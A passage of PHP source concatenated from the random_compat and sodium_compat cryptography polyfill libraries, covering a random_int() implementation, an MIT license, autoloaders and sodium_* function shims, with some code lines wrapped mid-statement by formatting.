it's equal to
         * ~PHP_INT_MAX or PHP_INT_MAX, we let it fail as not an integer.
Floats
         * lose precision, so the <= and => operators might
accidentally let a float
         * through.
         */

        try {
            $min = RandomCompat_intval($min);
        } catch (TypeError $ex) {
            throw new TypeError(
                'random_int(): $min must be an integer'
            );
        }

        try {
            $max = RandomCompat_intval($max);
        } catch (TypeError $ex) {
            throw new TypeError(
                'random_int(): $max must be an integer'
            );
        }

        /**
         * Now that we've verified our weak typing system has given us
an integer,
         * let's validate the logic then we can move forward with
generating random
         * integers along a given range.
         */
        if ($min > $max) {
            throw new Error(
                'Minimum value must be less than or equal to the
maximum value'
            );
        }

        if ($max === $min) {
            return $min;
        }

        /**
         * Initialize variables to 0
         *
         * We want to store:
         * $bytes => the number of random bytes we need
         * $mask => an integer bitmask (for use with the &) operator
         *          so we can minimize the number of discards
         */
        $attempts = $bits = $bytes = $mask = $valueShift = 0;

        /**
         * At this point, $range is a positive number greater than 0. It
might
         * overflow, however, if $max - $min > PHP_INT_MAX. PHP will
cast it to
         * a float and we will lose some precision.
         */
        $range = $max - $min;

        /**
         * Test for integer overflow:
         */
        if (!is_int($range)) {

            /**
             * Still safely calculate wider ranges.
             * Provided by @CodesInChaos, @oittaa
             *
             * @ref
https://gist.github.com/CodesInChaos/03f9ea0b58e8b2b8d435
             *
             * We use ~0 as a mask in this case because it generates all 1s
             *
             * @ref https://eval.in/400356 (32-bit)
             * @ref http://3v4l.org/XX9r5  (64-bit)
             */
            $bytes = PHP_INT_SIZE;
            $mask = ~0;

        } else {

            /**
             * $bits is effectively ceil(log($range, 2)) without dealing
with
             * type juggling
             */
            while ($range > 0) {
                if ($bits % 8 === 0) {
                    ++$bytes;
                }
                ++$bits;
                $range >>= 1;
                $mask = $mask << 1 | 1;
            }
            $valueShift = $min;
        }

        $val = 0;
        /**
         * Now that we have our parameters set up, let's begin
generating
         * random integers until one falls between $min and $max
         */
        do {
            /**
             * The rejection probability is at most 0.5, so this
corresponds
             * to a failure probability of 2^-128 for a working RNG
             */
            if ($attempts > 128) {
                throw new Exception(
                    'random_int: RNG is broken - too many
rejections'
                );
            }

            /**
             * Let's grab the necessary number of random bytes
             */
            $randomByteString = random_bytes($bytes);

            /**
             * Let's turn $randomByteString into an integer
             *
             * This uses bitwise operators (<< and |) to build an
integer
             * out of the values extracted from ord()
             *
             * Example: [9F] | [6D] | [32] | [0C] =>
             *   159 + 27904 + 3276800 + 201326592 =>
             *   204631455
             */
            $val &= 0;
            for ($i = 0; $i < $bytes; ++$i) {
                $val |= ord($randomByteString[$i]) << ($i * 8);
            }

            /**
             * Apply mask
             */
            $val &= $mask;
            $val += $valueShift;

            ++$attempts;
            /**
             * If $val overflows to a floating point number,
             * ... or is larger than $max,
             * ... or smaller than $min,
             * then try again.
             */
        } while (!is_int($val) || $val > $max || $val < $min);

        return (int)$val;
    }
}
The MIT License (MIT)

Copyright (c) 2015 Paragon Initiative Enterprises

Permission is hereby granted, free of charge, to any person obtaining a
copy
of this software and associated documentation files (the
"Software"), to deal
in the Software without restriction, including without limitation the
rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in
all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE
SOFTWARE.

<?php

require_once 'autoload.php';
ParagonIE_Sodium_Compat::$fastMult = true;
<?php

require_once 'autoload.php';
define('DO_PEDANTIC_TEST', true);

ParagonIE_Sodium_Compat::$fastMult = true;
<?php

if (!is_callable('sodiumCompatAutoloader')) {
    /**
     * Sodium_Compat autoloader.
     *
     * @param string $class Class name to be autoloaded.
     *
     * @return bool         Stop autoloading?
     */
    function sodiumCompatAutoloader($class)
    {
        $namespace = 'ParagonIE_Sodium_';
        // Does the class use the namespace prefix?
        $len = strlen($namespace);
        if (strncmp($namespace, $class, $len) !== 0) {
            // no, move to the next registered autoloader
            return false;
        }

        // Get the relative class name
        $relative_class = substr($class, $len);

        // Replace the namespace prefix with the base directory, replace
namespace
        // separators with directory separators in the relative class name,
append
        // with .php
        $file = dirname(__FILE__) . '/src/' .
str_replace('_', '/', $relative_class) .
'.php';
        // if the file exists, require it
        if (file_exists($file)) {
            require_once $file;
            return true;
        }
        return false;
    }

    // Now that we have an autoloader, let's register it!
    spl_autoload_register('sodiumCompatAutoloader');
}

require_once dirname(__FILE__) . '/src/SodiumException.php';
if (PHP_VERSION_ID >= 50300) {
    // Namespaces didn't exist before 5.3.0, so don't even try to
use this
    // unless PHP >= 5.3.0
    require_once dirname(__FILE__) . '/lib/namespaced.php';
    require_once dirname(__FILE__) . '/lib/sodium_compat.php';
}
if (PHP_VERSION_ID < 70200 || !extension_loaded('sodium')) {
    require_once dirname(__FILE__) . '/lib/php72compat.php';
}
<?php
namespace Sodium;

use ParagonIE_Sodium_Compat;

const CRYPTO_AEAD_AES256GCM_KEYBYTES =
ParagonIE_Sodium_Compat::CRYPTO_AEAD_AES256GCM_KEYBYTES;
const CRYPTO_AEAD_AES256GCM_NSECBYTES =
ParagonIE_Sodium_Compat::CRYPTO_AEAD_AES256GCM_NSECBYTES;
const CRYPTO_AEAD_AES256GCM_NPUBBYTES =
ParagonIE_Sodium_Compat::CRYPTO_AEAD_AES256GCM_NPUBBYTES;
const CRYPTO_AEAD_AES256GCM_ABYTES =
ParagonIE_Sodium_Compat::CRYPTO_AEAD_AES256GCM_ABYTES;
const CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES =
ParagonIE_Sodium_Compat::CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES;
const CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES =
ParagonIE_Sodium_Compat::CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES;
const CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES =
ParagonIE_Sodium_Compat::CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES;
const CRYPTO_AEAD_CHACHA20POLY1305_ABYTES =
ParagonIE_Sodium_Compat::CRYPTO_AEAD_CHACHA20POLY1305_ABYTES;
const CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES =
ParagonIE_Sodium_Compat::CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES;
const CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES =
ParagonIE_Sodium_Compat::CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES;
const CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES =
ParagonIE_Sodium_Compat::CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES;
const CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES =
ParagonIE_Sodium_Compat::CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES;
const CRYPTO_AUTH_BYTES = ParagonIE_Sodium_Compat::CRYPTO_AUTH_BYTES;
const CRYPTO_AUTH_KEYBYTES = ParagonIE_Sodium_Compat::CRYPTO_AUTH_KEYBYTES;
const CRYPTO_BOX_SEALBYTES = ParagonIE_Sodium_Compat::CRYPTO_BOX_SEALBYTES;
const CRYPTO_BOX_SECRETKEYBYTES =
ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES;
const CRYPTO_BOX_PUBLICKEYBYTES =
ParagonIE_Sodium_Compat::CRYPTO_BOX_PUBLICKEYBYTES;
const CRYPTO_BOX_KEYPAIRBYTES =
ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES;
const CRYPTO_BOX_MACBYTES = ParagonIE_Sodium_Compat::CRYPTO_BOX_MACBYTES;
const CRYPTO_BOX_NONCEBYTES =
ParagonIE_Sodium_Compat::CRYPTO_BOX_NONCEBYTES;
const CRYPTO_BOX_SEEDBYTES = ParagonIE_Sodium_Compat::CRYPTO_BOX_SEEDBYTES;
const CRYPTO_KX_BYTES = ParagonIE_Sodium_Compat::CRYPTO_KX_BYTES;
const CRYPTO_KX_SEEDBYTES = ParagonIE_Sodium_Compat::CRYPTO_KX_SEEDBYTES;
const CRYPTO_KX_PUBLICKEYBYTES =
ParagonIE_Sodium_Compat::CRYPTO_KX_PUBLICKEYBYTES;
const CRYPTO_KX_SECRETKEYBYTES =
ParagonIE_Sodium_Compat::CRYPTO_KX_SECRETKEYBYTES;
const CRYPTO_GENERICHASH_BYTES =
ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_BYTES;
const CRYPTO_GENERICHASH_BYTES_MIN =
ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_BYTES_MIN;
const CRYPTO_GENERICHASH_BYTES_MAX =
ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_BYTES_MAX;
const CRYPTO_GENERICHASH_KEYBYTES =
ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_KEYBYTES;
const CRYPTO_GENERICHASH_KEYBYTES_MIN =
ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_KEYBYTES_MIN;
const CRYPTO_GENERICHASH_KEYBYTES_MAX =
ParagonIE_Sodium_Compat::CRYPTO_GENERICHASH_KEYBYTES_MAX;
const CRYPTO_SCALARMULT_BYTES =
ParagonIE_Sodium_Compat::CRYPTO_SCALARMULT_BYTES;
const CRYPTO_SCALARMULT_SCALARBYTES =
ParagonIE_Sodium_Compat::CRYPTO_SCALARMULT_SCALARBYTES;
const CRYPTO_SHORTHASH_BYTES =
ParagonIE_Sodium_Compat::CRYPTO_SHORTHASH_BYTES;
const CRYPTO_SHORTHASH_KEYBYTES =
ParagonIE_Sodium_Compat::CRYPTO_SHORTHASH_KEYBYTES;
const CRYPTO_SECRETBOX_KEYBYTES =
ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_KEYBYTES;
const CRYPTO_SECRETBOX_MACBYTES =
ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_MACBYTES;
const CRYPTO_SECRETBOX_NONCEBYTES =
ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_NONCEBYTES;
const CRYPTO_SIGN_BYTES = ParagonIE_Sodium_Compat::CRYPTO_SIGN_BYTES;
const CRYPTO_SIGN_SEEDBYTES =
ParagonIE_Sodium_Compat::CRYPTO_SIGN_SEEDBYTES;
const CRYPTO_SIGN_PUBLICKEYBYTES =
ParagonIE_Sodium_Compat::CRYPTO_SIGN_PUBLICKEYBYTES;
const CRYPTO_SIGN_SECRETKEYBYTES =
ParagonIE_Sodium_Compat::CRYPTO_SIGN_SECRETKEYBYTES;
const CRYPTO_SIGN_KEYPAIRBYTES =
ParagonIE_Sodium_Compat::CRYPTO_SIGN_KEYPAIRBYTES;
const CRYPTO_STREAM_KEYBYTES =
ParagonIE_Sodium_Compat::CRYPTO_STREAM_KEYBYTES;
const CRYPTO_STREAM_NONCEBYTES =
ParagonIE_Sodium_Compat::CRYPTO_STREAM_NONCEBYTES;
<?php

if (PHP_VERSION_ID < 50300) {
    return;
}

/*
 * This file is just for convenience, to allow developers to reduce
verbosity when
 * they add this project to their libraries.
 *
 * Replace this:
 *
 * $x =
ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_encrypt(...$args);
 *
 * with this:
 *
 * use ParagonIE\Sodium\Compat;
 *
 * $x = Compat::crypto_aead_xchacha20poly1305_encrypt(...$args);
 */
spl_autoload_register(function ($class) {
    if ($class[0] === '\\') {
        $class = substr($class, 1);
    }
    $namespace = 'ParagonIE\\Sodium';
    // Does the class use the namespace prefix?
    $len = strlen($namespace);
    if (strncmp($namespace, $class, $len) !== 0) {
        // no, move to the next registered autoloader
        return false;
    }

    // Get the relative class name
    $relative_class = substr($class, $len);

    // Replace the namespace prefix with the base directory, replace
namespace
    // separators with directory separators in the relative class name,
append
    // with .php
    $file = dirname(__DIR__) . '/namespaced/' .
str_replace('\\', '/', $relative_class) .
'.php';
    // if the file exists, require it
    if (file_exists($file)) {
        require_once $file;
        return true;
    }
    return false;
});
<?php

/**
 * This file will monkey patch the pure-PHP implementation in place of the
 * PECL functions and constants, but only if they do not already exist.
 *
 * Thus, the functions or constants just proxy to the appropriate
 * ParagonIE_Sodium_Compat method or class constant, respectively.
 */
foreach (array(
    'CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES',
    'CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES',
    'CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES',
    'CRYPTO_AEAD_CHACHA20POLY1305_ABYTES',
    'CRYPTO_AEAD_AES256GCM_KEYBYTES',
    'CRYPTO_AEAD_AES256GCM_NSECBYTES',
    'CRYPTO_AEAD_AES256GCM_NPUBBYTES',
    'CRYPTO_AEAD_AES256GCM_ABYTES',
    'CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES',
    'CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES',
    'CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES',
    'CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES',
    'CRYPTO_AUTH_BYTES',
    'CRYPTO_AUTH_KEYBYTES',
    'CRYPTO_BOX_SEALBYTES',
    'CRYPTO_BOX_SECRETKEYBYTES',
    'CRYPTO_BOX_PUBLICKEYBYTES',
    'CRYPTO_BOX_KEYPAIRBYTES',
    'CRYPTO_BOX_MACBYTES',
    'CRYPTO_BOX_NONCEBYTES',
    'CRYPTO_BOX_SEEDBYTES',
    'CRYPTO_KX_BYTES',
    'CRYPTO_KX_SEEDBYTES',
    'CRYPTO_KX_PUBLICKEYBYTES',
    'CRYPTO_KX_SECRETKEYBYTES',
    'CRYPTO_GENERICHASH_BYTES',
    'CRYPTO_GENERICHASH_BYTES_MIN',
    'CRYPTO_GENERICHASH_BYTES_MAX',
    'CRYPTO_GENERICHASH_KEYBYTES',
    'CRYPTO_GENERICHASH_KEYBYTES_MIN',
    'CRYPTO_GENERICHASH_KEYBYTES_MAX',
    'CRYPTO_PWHASH_SALTBYTES',
    'CRYPTO_PWHASH_STRPREFIX',
    'CRYPTO_PWHASH_ALG_ARGON2I13',
    'CRYPTO_PWHASH_ALG_ARGON2ID13',
    'CRYPTO_PWHASH_MEMLIMIT_INTERACTIVE',
    'CRYPTO_PWHASH_OPSLIMIT_INTERACTIVE',
    'CRYPTO_PWHASH_MEMLIMIT_MODERATE',
    'CRYPTO_PWHASH_OPSLIMIT_MODERATE',
    'CRYPTO_PWHASH_MEMLIMIT_SENSITIVE',
    'CRYPTO_PWHASH_OPSLIMIT_SENSITIVE',
    'CRYPTO_SCALARMULT_BYTES',
    'CRYPTO_SCALARMULT_SCALARBYTES',
    'CRYPTO_SHORTHASH_BYTES',
    'CRYPTO_SHORTHASH_KEYBYTES',
    'CRYPTO_SECRETBOX_KEYBYTES',
    'CRYPTO_SECRETBOX_MACBYTES',
    'CRYPTO_SECRETBOX_NONCEBYTES',
    'CRYPTO_SIGN_BYTES',
    'CRYPTO_SIGN_SEEDBYTES',
    'CRYPTO_SIGN_PUBLICKEYBYTES',
    'CRYPTO_SIGN_SECRETKEYBYTES',
    'CRYPTO_SIGN_KEYPAIRBYTES',
    'CRYPTO_STREAM_KEYBYTES',
    'CRYPTO_STREAM_NONCEBYTES',
    'LIBRARY_VERSION_MAJOR',
    'LIBRARY_VERSION_MINOR',
    'VERSION_STRING'
    ) as $constant
) {
    if (!defined("SODIUM_$constant")) {
        define("SODIUM_$constant",
constant("ParagonIE_Sodium_Compat::$constant"));
    }
}

if (!is_callable('sodium_bin2hex')) {
    /**
     * @see ParagonIE_Sodium_Compat::hex2bin()
     * @param string $string
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_bin2hex($string)
    {
        return ParagonIE_Sodium_Compat::bin2hex($string);
    }
}
if (!is_callable('sodium_compare')) {
    /**
     * @see ParagonIE_Sodium_Compat::compare()
     * @param string $a
     * @param string $b
     * @return int
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_compare($a, $b)
    {
        return ParagonIE_Sodium_Compat::compare($a, $b);
    }
}
if (!is_callable('sodium_crypto_aead_aes256gcm_decrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_decrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string
     */
    function sodium_crypto_aead_aes256gcm_decrypt($message, $assocData,
$nonce, $key)
    {
        try {
            return
ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_decrypt($message,
$assocData, $nonce, $key);
        } catch (Error $ex) {
            return false;
        } catch (Exception $ex) {
            return false;
        }
    }
}
if (!is_callable('sodium_crypto_aead_aes256gcm_encrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_encrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_aead_aes256gcm_encrypt($message, $assocData,
$nonce, $key)
    {
        return
ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_encrypt($message,
$assocData, $nonce, $key);
    }
}
if (!is_callable('sodium_crypto_aead_aes256gcm_is_available')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_is_available()
     * @return bool
     */
    function sodium_crypto_aead_aes256gcm_is_available()
    {
        return
ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_is_available();
    }
}
if (!is_callable('sodium_crypto_aead_chacha20poly1305_decrypt'))
{
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_decrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string
     */
    function sodium_crypto_aead_chacha20poly1305_decrypt($message,
$assocData, $nonce, $key)
    {
        try {
            return
ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_decrypt($message,
$assocData, $nonce, $key);
        } catch (Error $ex) {
            return false;
        } catch (Exception $ex) {
            return false;
        }
    }
}
if (!is_callable('sodium_crypto_aead_chacha20poly1305_encrypt'))
{
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_encrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_aead_chacha20poly1305_encrypt($message,
$assocData, $nonce, $key)
    {
        return
ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_encrypt($message,
$assocData, $nonce, $key);
    }
}
if (!is_callable('sodium_crypto_aead_chacha20poly1305_keygen')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_keygen()
     * @return string
     */
    function sodium_crypto_aead_chacha20poly1305_keygen()
    {
        return
ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_keygen();
    }
}
if
(!is_callable('sodium_crypto_aead_chacha20poly1305_ietf_decrypt'))
{
    /**
     * @see
ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_decrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string
     */
    function sodium_crypto_aead_chacha20poly1305_ietf_decrypt($message,
$assocData, $nonce, $key)
    {
        try {
            return
ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_decrypt($message,
$assocData, $nonce, $key);
        } catch (Error $ex) {
            return false;
        } catch (Exception $ex) {
            return false;
        }
    }
}
if
(!is_callable('sodium_crypto_aead_chacha20poly1305_ietf_encrypt'))
{
    /**
     * @see
ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_encrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_aead_chacha20poly1305_ietf_encrypt($message,
$assocData, $nonce, $key)
    {
        return
ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_encrypt($message,
$assocData, $nonce, $key);
    }
}
if
(!is_callable('sodium_crypto_aead_chacha20poly1305_ietf_keygen'))
{
    /**
     * @see
ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_keygen()
     * @return string
     */
    function sodium_crypto_aead_chacha20poly1305_ietf_keygen()
    {
        return
ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_keygen();
    }
}
if
(!is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_decrypt'))
{
    /**
     * @see
ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_decrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string
     */
    function sodium_crypto_aead_xchacha20poly1305_ietf_decrypt($message,
$assocData, $nonce, $key)
    {
        try {
            return
ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_decrypt($message,
$assocData, $nonce, $key, true);
        } catch (Error $ex) {
            return false;
        } catch (Exception $ex) {
            return false;
        }
    }
}
if
(!is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_encrypt'))
{
    /**
     * @see
ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_encrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_aead_xchacha20poly1305_ietf_encrypt($message,
$assocData, $nonce, $key)
    {
        return
ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_encrypt($message,
$assocData, $nonce, $key, true);
    }
}
if
(!is_callable('sodium_crypto_aead_xchacha20poly1305_ietf_keygen'))
{
    /**
     * @see
ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_keygen()
     * @return string
     */
    function sodium_crypto_aead_xchacha20poly1305_ietf_keygen()
    {
        return
ParagonIE_Sodium_Compat::crypto_aead_xchacha20poly1305_ietf_keygen();
    }
}
if (!is_callable('sodium_crypto_auth')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_auth()
     * @param string $message
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_auth($message, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_auth($message, $key);
    }
}
if (!is_callable('sodium_crypto_auth_keygen')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_auth_keygen()
     * @return string
     */
    function sodium_crypto_auth_keygen()
    {
        return ParagonIE_Sodium_Compat::crypto_auth_keygen();
    }
}
if (!is_callable('sodium_crypto_auth_verify')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_auth_verify()
     * @param string $mac
     * @param string $message
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_auth_verify($mac, $message, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_auth_verify($mac, $message,
$key);
    }
}
if (!is_callable('sodium_crypto_box')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box()
     * @param string $message
     * @param string $nonce
     * @param string $kp
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_box($message, $nonce, $kp)
    {
        return ParagonIE_Sodium_Compat::crypto_box($message, $nonce, $kp);
    }
}
if (!is_callable('sodium_crypto_box_keypair')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_keypair()
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_box_keypair()
    {
        return ParagonIE_Sodium_Compat::crypto_box_keypair();
    }
}
if
(!is_callable('sodium_crypto_box_keypair_from_secretkey_and_publickey'))
{
    /**
     * @see
ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey()
     * @param string $sk
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_box_keypair_from_secretkey_and_publickey($sk,
$pk)
    {
        return
ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey($sk,
$pk);
    }
}
if (!is_callable('sodium_crypto_box_open')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_open()
     * @param string $message
     * @param string $nonce
     * @param string $kp
     * @return string|bool
     */
    function sodium_crypto_box_open($message, $nonce, $kp)
    {
        try {
            return ParagonIE_Sodium_Compat::crypto_box_open($message,
$nonce, $kp);
        } catch (Error $ex) {
            return false;
        } catch (Exception $ex) {
            return false;
        }
    }
}
if (!is_callable('sodium_crypto_box_publickey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_publickey()
     * @param string $keypair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_box_publickey($keypair)
    {
        return ParagonIE_Sodium_Compat::crypto_box_publickey($keypair);
    }
}
if (!is_callable('sodium_crypto_box_publickey_from_secretkey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_publickey_from_secretkey()
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_box_publickey_from_secretkey($sk)
    {
        return
ParagonIE_Sodium_Compat::crypto_box_publickey_from_secretkey($sk);
    }
}
if (!is_callable('sodium_crypto_box_seal')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_seal()
     * @param string $message
     * @param string $publicKey
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_box_seal($message, $publicKey)
    {
        return ParagonIE_Sodium_Compat::crypto_box_seal($message,
$publicKey);
    }
}
if (!is_callable('sodium_crypto_box_seal_open')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_seal_open()
     * @param string $message
     * @param string $kp
     * @return string|bool
     * @throws SodiumException
     */
    function sodium_crypto_box_seal_open($message, $kp)
    {
        try {
            return ParagonIE_Sodium_Compat::crypto_box_seal_open($message,
$kp);
        } catch (SodiumException $ex) {
            if ($ex->getMessage() === 'Argument 2 must be
CRYPTO_BOX_KEYPAIRBYTES long.') {
                throw $ex;
            }
            return false;
        }
    }
}
if (!is_callable('sodium_crypto_box_secretkey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_secretkey()
     * @param string $keypair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_box_secretkey($keypair)
    {
        return ParagonIE_Sodium_Compat::crypto_box_secretkey($keypair);
    }
}
if (!is_callable('sodium_crypto_box_seed_keypair')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_seed_keypair()
     * @param string $seed
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_box_seed_keypair($seed)
    {
        return ParagonIE_Sodium_Compat::crypto_box_seed_keypair($seed);
    }
}
if (!is_callable('sodium_crypto_generichash')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_generichash()
     * @param string $message
     * @param string|null $key
     * @param int $outLen
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_generichash($message, $key = null, $outLen = 32)
    {
        return ParagonIE_Sodium_Compat::crypto_generichash($message, $key,
$outLen);
    }
}
if (!is_callable('sodium_crypto_generichash_final')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_generichash_final()
     * @param string|null $ctx
     * @param int $outputLength
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_generichash_final(&$ctx, $outputLength = 32)
    {
        return ParagonIE_Sodium_Compat::crypto_generichash_final($ctx,
$outputLength);
    }
}
if (!is_callable('sodium_crypto_generichash_init')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_generichash_init()
     * @param string|null $key
     * @param int $outLen
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_generichash_init($key = null, $outLen = 32)
    {
        return ParagonIE_Sodium_Compat::crypto_generichash_init($key,
$outLen);
    }
}
if (!is_callable('sodium_crypto_generichash_keygen')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_generichash_keygen()
     * @return string
     */
    function sodium_crypto_generichash_keygen()
    {
        return ParagonIE_Sodium_Compat::crypto_generichash_keygen();
    }
}
if (!is_callable('sodium_crypto_generichash_update')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_generichash_update()
     * @param string|null $ctx
     * @param string $message
     * @return void
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_generichash_update(&$ctx, $message =
'')
    {
        ParagonIE_Sodium_Compat::crypto_generichash_update($ctx, $message);
    }
}
if (!is_callable('sodium_crypto_kx')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_kx()
     * @param string $my_secret
     * @param string $their_public
     * @param string $client_public
     * @param string $server_public
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_kx($my_secret, $their_public, $client_public,
$server_public)
    {
        return ParagonIE_Sodium_Compat::crypto_kx(
            $my_secret,
            $their_public,
            $client_public,
            $server_public
        );
    }
}
if (!is_callable('sodium_crypto_pwhash')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash()
     * @param int $outlen
     * @param string $passwd
     * @param string $salt
     * @param int $opslimit
     * @param int $memlimit
     * @param int|null $algo
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_pwhash($outlen, $passwd, $salt, $opslimit,
$memlimit, $algo = null)
    {
        return ParagonIE_Sodium_Compat::crypto_pwhash($outlen, $passwd,
